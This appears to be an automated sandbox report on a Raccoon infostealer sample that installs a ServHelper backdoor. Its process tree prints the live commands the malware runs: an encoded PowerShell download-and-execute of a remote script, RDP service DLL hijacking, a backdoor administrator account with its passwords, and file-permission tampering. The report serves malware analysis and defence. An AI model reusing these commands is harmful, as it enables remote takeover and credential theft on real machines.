raccoon | ea90f2f71597051b8c34698de10bb1ce8ed996c65654fd5fdcb5440e18c716d4

Analysis

max time kernel
120s
max time network
135s
platform
windows7_x64
resource
win7v20210410
submitted
02/06/2021, 17:28

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General

Target
8034b47213cc5f5fc1395f718a55c4da.exe
Size 568KB
Sample210602-18bxfaa2ee
SHA256 ea90f2f71597051b8c34698de10bb1ce8ed996c65654fd5fdcb5440e18c716d4
MD5 8034b47213cc5f5fc1395f718a55c4da
SHA1 de5b4c462a8848b7b95a6d68d400bde6272529fd
SHA512 3f492b54daa93cc726b59138d3969627eb3815f8ff7de22fc1ee33700b73175ab280a43bf95ee0d12132047b5f1d49aca5b2159322f978edc9ae219049c09d8d
MD5 SHA1 SHA512

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	1364	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1932	foeseHb3rn.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
568	icacls.exe
544	icacls.exe
1832	icacls.exe
2004	icacls.exe
1812	icacls.exe
1612	takeown.exe
1524	icacls.exe
948	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000130f7-197.dat	upx
behavioral1/files/0x00060000000130f8-198.dat	upx

Deletes itself 1 IoCs

pid	Process
632	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1748	8034b47213cc5f5fc1395f718a55c4da.exe
1748	8034b47213cc5f5fc1395f718a55c4da.exe
1748	8034b47213cc5f5fc1395f718a55c4da.exe
1748	8034b47213cc5f5fc1395f718a55c4da.exe
1748	8034b47213cc5f5fc1395f718a55c4da.exe
1748	8034b47213cc5f5fc1395f718a55c4da.exe
1748	8034b47213cc5f5fc1395f718a55c4da.exe
1748	8034b47213cc5f5fc1395f718a55c4da.exe
1748	8034b47213cc5f5fc1395f718a55c4da.exe
1748	8034b47213cc5f5fc1395f718a55c4da.exe
568	Process not Found
568	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1612	takeown.exe
1524	icacls.exe
948	icacls.exe
568	icacls.exe
544	icacls.exe
1832	icacls.exe
2004	icacls.exe
1812	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6809ab0d-4f95-4573-9eb4-0c19a249e97d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3c13de19-ac38-4526-8b9e-6e4e2063fd12	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bee90e39-0602-43db-aaa5-2db2be86c276	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a9aa90-1d00-49d2-a247-76c393abc0d8	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6f611fb1-4d24-4792-9866-a858f047d565	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9c7b542a-760f-4b26-b762-488e8dd939da	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UK7UPWAQDO2OAU89PQZ6.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_210250f9-be15-4294-bbef-df3f9c734cf3	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_edaa9043-d3d7-421f-a474-030cd04bd4ba	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3a6e24d4-648d-424d-a011-efc8d227b330	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8de8f0df-25d0-4c27-8d0f-bd138b8d796d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5aff91e1-11d6-43e5-aab1-9e55371d559d	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1004	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b06d6dc0d557d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1872	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	8034b47213cc5f5fc1395f718a55c4da.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	8034b47213cc5f5fc1395f718a55c4da.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1632	powershell.exe
1632	powershell.exe
924	powershell.exe
924	powershell.exe
1564	powershell.exe
1564	powershell.exe
1596	powershell.exe
1596	powershell.exe
1632	powershell.exe
1632	powershell.exe
1632	powershell.exe
1364	powershell.exe
1364	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
468	Process not Found
568	Process not Found
568	Process not Found
568	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeRestorePrivilege	948	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1624	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1624	WMIC.exe
Token: SeAuditPrivilege	1624	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1624	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1624	WMIC.exe
Token: SeAuditPrivilege	1624	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeAuditPrivilege	1312	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeAuditPrivilege	1312	WMIC.exe
Token: SeDebugPrivilege	1364	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1748 wrote to memory of 1932	1748	8034b47213cc5f5fc1395f718a55c4da.exe	30
PID 1748 wrote to memory of 1932	1748	8034b47213cc5f5fc1395f718a55c4da.exe	30
PID 1748 wrote to memory of 1932	1748	8034b47213cc5f5fc1395f718a55c4da.exe	30
PID 1748 wrote to memory of 1932	1748	8034b47213cc5f5fc1395f718a55c4da.exe	30
PID 1748 wrote to memory of 632	1748	8034b47213cc5f5fc1395f718a55c4da.exe	31
PID 1748 wrote to memory of 632	1748	8034b47213cc5f5fc1395f718a55c4da.exe	31
PID 1748 wrote to memory of 632	1748	8034b47213cc5f5fc1395f718a55c4da.exe	31
PID 1748 wrote to memory of 632	1748	8034b47213cc5f5fc1395f718a55c4da.exe	31
PID 632 wrote to memory of 1004	632	cmd.exe	33
PID 632 wrote to memory of 1004	632	cmd.exe	33
PID 632 wrote to memory of 1004	632	cmd.exe	33
PID 632 wrote to memory of 1004	632	cmd.exe	33
PID 1932 wrote to memory of 1632	1932	foeseHb3rn.exe	34
PID 1932 wrote to memory of 1632	1932	foeseHb3rn.exe	34
PID 1932 wrote to memory of 1632	1932	foeseHb3rn.exe	34
PID 1632 wrote to memory of 1816	1632	powershell.exe	36
PID 1632 wrote to memory of 1816	1632	powershell.exe	36
PID 1632 wrote to memory of 1816	1632	powershell.exe	36
PID 1816 wrote to memory of 2004	1816	csc.exe	37
PID 1816 wrote to memory of 2004	1816	csc.exe	37
PID 1816 wrote to memory of 2004	1816	csc.exe	37
PID 1632 wrote to memory of 924	1632	powershell.exe	38
PID 1632 wrote to memory of 924	1632	powershell.exe	38
PID 1632 wrote to memory of 924	1632	powershell.exe	38
PID 1632 wrote to memory of 1564	1632	powershell.exe	40
PID 1632 wrote to memory of 1564	1632	powershell.exe	40
PID 1632 wrote to memory of 1564	1632	powershell.exe	40
PID 1632 wrote to memory of 1596	1632	powershell.exe	42
PID 1632 wrote to memory of 1596	1632	powershell.exe	42
PID 1632 wrote to memory of 1596	1632	powershell.exe	42
PID 1632 wrote to memory of 1612	1632	powershell.exe	45
PID 1632 wrote to memory of 1612	1632	powershell.exe	45
PID 1632 wrote to memory of 1612	1632	powershell.exe	45
PID 1632 wrote to memory of 1524	1632	powershell.exe	46
PID 1632 wrote to memory of 1524	1632	powershell.exe	46
PID 1632 wrote to memory of 1524	1632	powershell.exe	46
PID 1632 wrote to memory of 948	1632	powershell.exe	47
PID 1632 wrote to memory of 948	1632	powershell.exe	47
PID 1632 wrote to memory of 948	1632	powershell.exe	47
PID 1632 wrote to memory of 568	1632	powershell.exe	48
PID 1632 wrote to memory of 568	1632	powershell.exe	48
PID 1632 wrote to memory of 568	1632	powershell.exe	48
PID 1632 wrote to memory of 544	1632	powershell.exe	49
PID 1632 wrote to memory of 544	1632	powershell.exe	49
PID 1632 wrote to memory of 544	1632	powershell.exe	49
PID 1632 wrote to memory of 1832	1632	powershell.exe	50
PID 1632 wrote to memory of 1832	1632	powershell.exe	50
PID 1632 wrote to memory of 1832	1632	powershell.exe	50
PID 1632 wrote to memory of 2004	1632	powershell.exe	51
PID 1632 wrote to memory of 2004	1632	powershell.exe	51
PID 1632 wrote to memory of 2004	1632	powershell.exe	51
PID 1632 wrote to memory of 1812	1632	powershell.exe	52
PID 1632 wrote to memory of 1812	1632	powershell.exe	52
PID 1632 wrote to memory of 1812	1632	powershell.exe	52
PID 1632 wrote to memory of 1288	1632	powershell.exe	53
PID 1632 wrote to memory of 1288	1632	powershell.exe	53
PID 1632 wrote to memory of 1288	1632	powershell.exe	53
PID 1632 wrote to memory of 1872	1632	powershell.exe	54
PID 1632 wrote to memory of 1872	1632	powershell.exe	54
PID 1632 wrote to memory of 1872	1632	powershell.exe	54
PID 1632 wrote to memory of 296	1632	powershell.exe	55
PID 1632 wrote to memory of 296	1632	powershell.exe	55
PID 1632 wrote to memory of 296	1632	powershell.exe	55
PID 1632 wrote to memory of 364	1632	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\8034b47213cc5f5fc1395f718a55c4da.exe
"C:\Users\Admin\AppData\Local\Temp\8034b47213cc5f5fc1395f718a55c4da.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1748
- C:\Users\Admin\AppData\Local\Temp\foeseHb3rn.exe
  "C:\Users\Admin\AppData\Local\Temp\foeseHb3rn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1llreuff\1llreuff.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1816
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES908C.tmp" "c:\Users\Admin\AppData\Local\Temp\1llreuff\CSCCE878FB959B94D938689CFF742E2DAB.TMP"
        5⤵
        
        PID:2004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1596
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1612
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1524
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:948
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:568
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:544
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1832
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2004
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1812
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1288
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1872
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:296
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:364
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1928
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:288
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1804
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1596
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:320
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:908
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1740
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:564
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1440
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1748
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1720
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\8034b47213cc5f5fc1395f718a55c4da.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:632
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1004

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:924
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1552

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc wCENqtMx /add
1⤵
PID:296
- C:\Windows\system32\net.exe
  net.exe user wgautilacc wCENqtMx /add
  2⤵
  PID:1624
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc wCENqtMx /add
    3⤵
    PID:1588

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1596
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1928

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1652
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1552
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:524

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1240
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1796

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc wCENqtMx
1⤵
PID:1564
- C:\Windows\system32\net.exe
  net.exe user wgautilacc wCENqtMx
  2⤵
  PID:1928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc wCENqtMx
    3⤵
    PID:1804

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:904
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1624

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1796
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1312

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1564
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1364

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1652
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/924-116-0x000000001AC10000-0x000000001AC11000-memory.dmp

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memory/924-137-0x000000001B9C0000-0x000000001B9C1000-memory.dmp

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memory/924-112-0x0000000002860000-0x0000000002861000-memory.dmp

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memory/924-114-0x000000001B590000-0x000000001B591000-memory.dmp

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memory/924-110-0x000000001AC60000-0x000000001AC62000-memory.dmp

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memory/924-117-0x00000000020D0000-0x00000000020D1000-memory.dmp

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memory/924-111-0x000000001AC64000-0x000000001AC66000-memory.dmp

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memory/924-123-0x000000001BCD0000-0x000000001BCD1000-memory.dmp

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memory/924-136-0x000000001B9B0000-0x000000001B9B1000-memory.dmp

